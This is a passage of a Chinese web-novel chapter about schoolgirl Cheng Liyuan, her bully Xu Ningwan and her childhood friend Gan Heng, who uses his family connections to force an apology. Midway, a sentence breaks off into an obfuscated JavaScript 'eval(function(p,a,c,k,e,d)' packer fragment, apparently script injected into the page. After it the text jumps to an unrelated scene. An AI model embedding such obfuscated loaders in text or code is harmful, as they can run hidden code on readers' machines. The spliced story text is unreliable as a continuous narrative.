纪律委员去理论无果,程序上徐柠晚没有问题,她熟谙这套。 “真的不要我来帮你解决吗。”甘衡的声音浮现于耳边。 程荔缘不可能让甘衡来。 她在意的是万一徐柠晚被逼急了去报复班长。 程荔缘提议:“去找马老吧。” 班长点头:“也只能按正常流程来了。” 她们去找班主任陈述,马维听了去找高二一班的班主任,他们班没有再被针对,球拍也按原价赔偿了,事情似乎告一段落。 晚自习下课,陈汐溪主动起身:“住读生今天要买鸡蛋汉堡的,微信群扣1,我统计下。” “我。”“我我我。”“加我一个。”“谢谢英语课代表!谢谢生活委员!” 陈汐溪正儿八经地说:“谢程荔缘就可以了,出去帮你们买的是程荔缘,我也住校,出不了门。” “哎呀都谢,都谢。”“荔缘,真的不要个男生陪你去吗,帮你拿东西啊。”大家说。 学生会最容易找生活委员和纪律委员,生活委员还要检查大扫除,监督值日生干活,应付扯皮。 但班上没人给程荔缘脸色看,也都很配合她。因为程荔缘每周都会帮大家跑腿买摆摊小吃。 高中生总是吃完一顿就饿,晚自习之后,住校生不允许出门,想吃夜宵只能请走读生带,大部分走读生又急着回家,程荔缘这样愿意帮忙的凤毛麟角。 程荔缘拿了个大袋子,“我一个人就够了,那边排队也快。” 出了校门口,陈汐溪就在门内等她,这样方便程荔缘直接去赶地铁。 夜宵摊前,人群拥挤,这家鸡蛋汉堡是出了名的超好吃,排队络绎不绝。 老板出餐极快,程荔缘买完了之后,扫码支付,把热腾腾的鸡蛋汉堡装袋子里。 她走出队伍,看了下手机上的时间,背后突然一股大力传来,她反应不及,被撞得朝前摔去。 程荔缘一只手抱着袋子,一只手拿着手机,如果扔了袋子,可以腾出一只手撑地,可是那样鸡蛋汉堡会全部撒出来。 “哎呀,手滑了。”有人在她背后笑。 短短刹那,程荔缘以一个笨拙的姿势抱住袋子,紧紧握着手机,她一闪念自己不至于摔太狠,因为她个子不高。 她落入一个干净好闻的怀抱,对方稳稳接住了她,连她的手肘也被好好托住了,动作还很松弛,给人感觉是他的身高和力气,哪怕程荔缘是现在体重三倍他也有余力。 直到程荔缘站稳了,甘衡才松开手,看向刚刚故意绊倒程荔缘的人。 徐柠晚和她朋友愣住了,过了两秒,徐柠晚眨了眨眼。 她和石澄宇是情侣博主,之前有个高中生活小视频爆了,接了广告有不少收入,对高中生来说是巨款了,有心想把账号做大。 如果能拍下甘衡发到账号上,肯定点击会爆。 更重要的是对着镜头,甘衡就不敢找他们麻烦。 徐柠晚一想通,不动声色低头,想要划开相机。 “你们刚刚为什么故意推我同班同学?”甘衡声音很有礼貌,充满了单纯的疑惑。 徐柠晚一抬头,赫然看见镜头对着她,甘衡正在拍她和她朋友。 “可以回答一下我的问题吗。”甘衡礼貌地说。 徐柠晚:“……!” 她朋友反驳:“这里人太多太挤了,不小心碰了下,她自己就摔了,和我们有什么关系。” 徐柠晚害怕甘衡在直播,连忙很无辜很委屈地说:“我们真的没有故意撞她。” 甘衡手机偏了偏,照见旁边一个小超市:“我去问老板要个监控。” 徐柠晚慌忙抬头,一下子看到超市上方有个摄像头,正对着他们的。 甘衡拉过程荔缘的手腕,带她往小超市那边走去。 “等等!”徐柠晚阻止。 程荔缘回头瞥了徐柠晚一眼,没有挣开甘衡。 甘衡眼底雾色难辨,程荔缘就是这一点好,是优点,也是弱点。每次都能让他成功重新靠近她。她的墙退一寸,他的领域就进一尺。 徐柠晚慌了,一旦甘衡拿到监控,发到网上…… 她快步跑过去拦住他们,挤出笑容:“都是误会,你在篮球队,我是你们队长女朋友,怎么会对你们班同学这样呢。” 石澄宇是她男朋友,家里又有背景,搬出他,肯定能压制住甘衡。 甘衡用一种特别无辜的语气说:“请保持距离,我怕你霸凌我。” 徐柠晚:“……” 她眼睁睁看着甘衡进去和超市店员说了几句,那店员好像认识他,去屏幕前调监控了,甘衡用手机拍屏幕,程荔缘也站在旁边看。 徐柠晚的朋友低声问:“怎么办啊。” 徐柠晚一咬牙,分别指示他们:“你给石澄宇打个电话,让他赶快过来,你留这拖下时间,不能让他继续拍我。” 她后退一步转身,背后响起甘衡的声音:“谁允许你走了?” 徐柠晚不想听的,却被甘衡语气里那一丝冰凉钉在原地,身体比她本人更早识别出危险。 再看过去,甘衡分明一脸无辜,活脱脱是个清纯男高,身高却比他们都高。 她朋友们也被甘衡的气场压制住了,一时噤声。 徐柠晚气势微弱:“你……你想干什么?” 甘衡:“监控显示你确实霸凌了同学。” 徐柠晚:“我没有!” 甘衡:“还是诚恳道歉比较好。” 徐柠晚僵在原地,明明石澄宇告诉她,这几天甘衡坐冷板凳,很快就会自己申请退队滚蛋,她以为甘衡很在意面子,很怕惹事。 可是甘衡现在一点也不在意自己形象,脸上也没有任何阴影,却让她有种被双头蛇盯上,掉入了对方陷阱的错觉,皮肤在细细地起小疙瘩,一切都说不通。 可是她不想道歉,凭什么。 再坚持一下…… “谁逼我女朋友道歉?”一个很凶的声音响起,石澄宇下了晚自习,校门口距离这儿不到一百步路,他赶过来三分钟不到。 “澄宇!他们欺负我!”徐柠晚扑过去挽住石澄宇的胳膊,带了哭腔。 看到甘衡,石澄宇眉毛挑了起来,他还带了两个男生跟着他。 “宇哥。”其他人纷纷松了口气。 石澄宇目光落在甘衡脸上,笑了:“甘衡,别给我来这套,我不怕你录像,也不怕你举报,到时候惨的是你。” 徐柠晚愣了愣,有些不安。 一中对霸凌现象管理极严,一旦有人举报,政教处就会启动调查程序,徐柠晚少不了要被口头警告和请家长,别想再拿任何荣誉和奖。 她没想到今天会遇到甘衡,石澄宇一来,事情更升级了。 她怕他们斗起来,她名誉受损。 甘衡对石澄宇的话也没什么反应,只看着程荔缘说:“留在这,等我一下。” 程荔缘一下子拉住他袖子:“校外不能打架。” 甘衡盯着她笑了:“是,我知道。” 程荔缘也不想听他命令自己:“我要带夜宵回去,陈汐溪还在等我。” 甘衡:“只要两分钟,我送你回去。” 他手揣在校服里,朝石澄宇走过去。 程荔缘跑去超市门口,向外望着,可是就这么一会,他们人不知道哪里去了。 石澄宇随甘衡绕到一条巷子里,两边是高墙,他两个朋友侧后方围住甘衡。 徐柠晚和她那群朋友散在旁边看着。 甘衡抬头向四周望。 “这儿没监控,不用费心思找了。”石澄宇嘲弄他。 甘衡微笑:“那我就放心了。” 石澄宇戒备:“怎么,想一挑多啊?” 甘衡微笑:“不,其实是想说,上次盘锦山酒会,你爸过来认识了我爸,他们碰过杯,你可能不记得了,当时人多,你一直在旁边玩手机。” 石澄宇看着他,眯眼回想,没有再呛回去,表情依然喜怒不定:“所以?你爸是谁?你家是干什么的?” 甘衡:“甘胥敖,临海集团。” 石澄宇静了一下,脸色微妙地变了,他想起来,他爸职级上跟那个甘胥敖平起平坐,但甘胥敖在临海集团连三把手都算不上,是甘家的远亲,听说能力不错,加上这层关系,坐上了高管位置。 而甘胥敖,肯定见过甘家这一代的当家,甘霸原。 要是他父亲那天真的有求于甘胥敖,而他无意间欺负了甘胥敖的儿子……石澄宇瞳孔缩了缩。 一开始,他也想过,甘衡会不会和甘家有关系。 学校光他们年级就还有其他两个人姓甘,高三也有三个,石澄宇以为是巧合。 甘衡:“记得石叔叔上次还说他们有个大项目,技术参数没几家公司匹配得上,前段时间废标了,准备二轮招标,还问我爸认识哪些靠谱的。” 石澄宇父亲最近回家几次在饭桌上提到,就是在烦这件事。 空气凝滞。 看了甘衡三秒,石澄宇忽然笑了,走过去和他并排站着,伸手拍拍他肩膀。 “之前误会了,早知道你是甘叔叔儿子,我该主动请你吃饭,脚上扭伤好没?没耽误你去俱乐部训练吧。” “好差不多了,队长。”甘衡说。 “行,下次训练你当小前锋试试。”石澄宇忽然变得非常随和。 小巷子里气氛和谐,徐柠晚他们措手不及,都没反应过来。 徐柠晚:“澄宇,我……” 石澄宇看向她:“成天跟学妹计较什么啊,去跟人道个歉。” 徐柠晚提高了声音:“要我跟她道歉?” 石澄宇盯着徐柠晚,走过去,拍了拍她后脑勺,拍得徐柠晚晃了晃。 “对啊,回去道歉,宝宝,我看着你。”她男朋友温柔地一字一字说。 程荔缘正在小超市等着,没几分钟,就看到一行人从旁边转角出来了,甘衡和石澄宇走在最前面,说说笑笑的,和同班同学没什么区别,徐柠晚走在最后,垂着眼睛,看不清脸色。 他们走到近前,石澄宇看见了程荔缘,扭头对徐柠晚说:“赶紧啊宝宝。” 徐柠晚心不甘情不愿:“对不起。” 石澄宇:“这不就对了,以后不许欺负人家。” 徐柠晚只能答应一声,她妈妈是中层干部,石澄宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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甘衡家里关系认识的同龄人,是一个其他人进不去的小圈子,那些人都在启航。在一中,他需要重新建立他周围的关系。 甘衡继续说:“被小鬼缠上,也是很烦的。” 程荔缘:“高考后各奔东西,谁也不认识谁,没什么事情过不去。” 空气安静了一瞬,甘衡望着她,明显因为她哪句话触到了神经。程荔缘没看他。 他们之间的交流,通过空气无声流动。仿佛无须开口。 程荔缘特别迫切想斩断这种从小被动培养的熟悉。 甘衡轻巧和煦地说:“我答应过程阿姨,要照顾好你,这奶茶味道不错。” 程荔缘:“……”董阿姨帮过程揽英创业,帮过她家很大忙,还并非一朝一夕。何况她也把董阿姨当半个亲人。 每次和甘衡相处,过去就会浮现,像涨潮打湿她的鞋子。 脑海中,他曾经说过的话再次回响。 “我以为你还会有半点羞耻和真诚,看来是我平时给你的错觉太多了,”甘衡一脸恶魔般的似赞似叹,“我也没想到自己被你骗了,你真厉害啊。” 在他眼里,她只是个不自量力妄想攀高枝的普女。今天这些话不再刺痛她,但当时的痛苦和羞窘,她依然记得。 他仅有几次的亮出毒牙,都是在她这儿。她不会再把他的伪装和面具,当成是他本人。 程荔缘直接停下脚步:“甘衡,你不要再理我了。” 甘衡望着程荔缘,路灯下,她的脸庞柔和,头发末梢有点弯,遮住太阳穴,只露出一丁点耳朵,小时候,他就觉得她像一只他在乡下发现的小狗,圆滚滚胖嘟嘟,走路有点不稳,明明经常打滚,毛毛却被奶奶养得很干净,有太阳晒过的草的味道。 小狗看见他,会站在原地,要扑过来,又不敢,绕圈子跑来跑去,唧唧赖赖地叫,跟小时候的程荔缘一模一样,让他忍不住想要吓唬她,她抽身跑走前,再抓住她的脚,把她拽回来,锁在怀里,任意摸乱她的毛。 那只小狗他带了回来,没多久就因为细小回汪星了,也是同一年,他初见程荔缘,她的眼睛和小狗很像,纯真而没有心事,满心都是他。 甘衡:“你什么意思。” 程荔缘:“不用拿董阿姨和我妈当借口,你不喜欢我就不用这样演,我看着觉得累。” 甘衡微微笑了,放慢了语速:“我当然不可能喜欢你,也不讨厌你,否则会留下这个吗?” 他把那杯奶茶投入垃圾桶,空出手,五指深入一边碎发,露出额角,发际线边缘,有一道很细很浅的疤。 程荔缘就像被按了静音键,齿尖无意识咬紧下唇内侧的一点粘膜。 曾经她溺水,甘衡跳下去去救她,当时天气非常糟糕,风吹过来一个重物,砸到了甘衡脑袋。 程荔缘原谅了小时候的自己,不怪她误读了他的心意。 甘衡很残忍,他对你的好,就像过强的阳光一样,普照大地,灼烧肺腑,让你想躲又多想。 但阳光的辐射,不需要任何理由,它只是天生发光发热。 程荔缘按捺下情绪,用了最后的激将:“那你是不是喜欢我不承认,如果不喜欢,干嘛这么关注我?” 甘衡的眼睛一眨不眨,在她话音刚落就接过话:“嗯,我不能像你想要的那样喜欢你,你就跟我绝交?还记得吗,我小时候没什么朋友,你以前说过,会陪我到十八岁。” 程荔缘一口气提在喉咙,预感到了什么。 甘衡恶劣地挤了下眼睛,声音温软清磁:“后来我朋友渐渐多了,你就退到了墙角,食言而肥了,程荔缘,是你太在意了。” 是你太喜欢我了。 未尽之言像一支带钩子的细箭,被拉满的时间之弓射回,穿透她胸膛。 她以为少年对她抛出了玫瑰,扎进来的是香味,其实是鲜血的味道。 甘衡目光下,程荔缘胸膛起伏,慢慢一口气吸到底。 她做了一个甘衡意想不到的动作。 程荔缘缓缓举起三根手指:“我现在不喜欢你了,我用高考名义起誓,如果说谎,我第一到第三志愿全部落榜,家破人亡。” 甘衡盯着她,笑容尚悬浮在唇角,眼里的情绪一刹那完全消失。